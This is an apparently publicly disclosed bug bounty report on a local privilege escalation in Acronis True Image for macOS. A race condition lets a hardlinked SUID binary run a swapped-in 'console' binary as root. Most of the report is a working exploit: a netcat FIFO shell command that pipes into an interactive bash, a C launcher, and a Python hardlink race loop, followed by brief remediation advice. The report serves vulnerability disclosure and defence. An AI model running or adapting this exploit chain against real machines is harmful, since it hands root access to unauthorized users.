HexBrain

Acronis · Report #1251464

Acronis True Image Local Privilege Escalation Due To Race Condition In Application Verification

Validstatus
highseverity
8upvotes
28 Jul 2022disclosed

How it was found

Summary

The Acronis True Image application has a SUID binary "Acronis True Image" that starts another binary "console" in the same directory. The SUID binary does some checks on "console" before it is run to make sure the correct binary is being run. By using a hardlink to the SUID binary we can coerice it to try and load "console" in a chosen directory we can write to. From this point we can exploit that the SUID binary does not lock "console" whilst it checks if it is valid, we setup a environment where we can replace console at will and try to win a race where we replace the "console" binary after it has been checked but before it has been run. If we win this race we gain code execution as root from an admin account.

Steps To Reproduce

first we make the shell command to run

echo "mkfifo myfifo;nc -l 127.0.0.1 8080 < myfifo | /bin/bash -i > myfifo 2>&1" > shell 

now lets make the c program that will run this shell command naming it test.c

#include <stdlib.h>
int main() 
{
	system("touch pass;bash shell");
	return 0;
}

compile the program

gcc test.c 

run the following python program

import os 
import time 

os.link("/Applications/Acronis True Image.app/Contents/MacOS/Acronis True Image", "./run")
os.link("/Applications/Acronis True Image.app/Contents/MacOS/console", "./console")

lag = 0.01 
while True: 
	os.popen("./run")
	time.sleep(lag)
	os.unlink("./console")
	os.link("./a.out", "./console")
	time.sleep(1.0)
	os.unlink("./console")
	os.link("Applications/Acronis True Image.app/Contents/MacOS/console", "./console")
	lag += 0.01 
	if os.path.exists("./pass"):
		exit()

connect to the root shell

nc 127.0.0.1 8080

Recommendations

Any binaries that are checked for validity should be locked so that they can not be replaced during validation. Additionally if possible the application should verify where it is being run from to try and prevent further symlink attacks.

Impact

Local privilege escalation to root.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original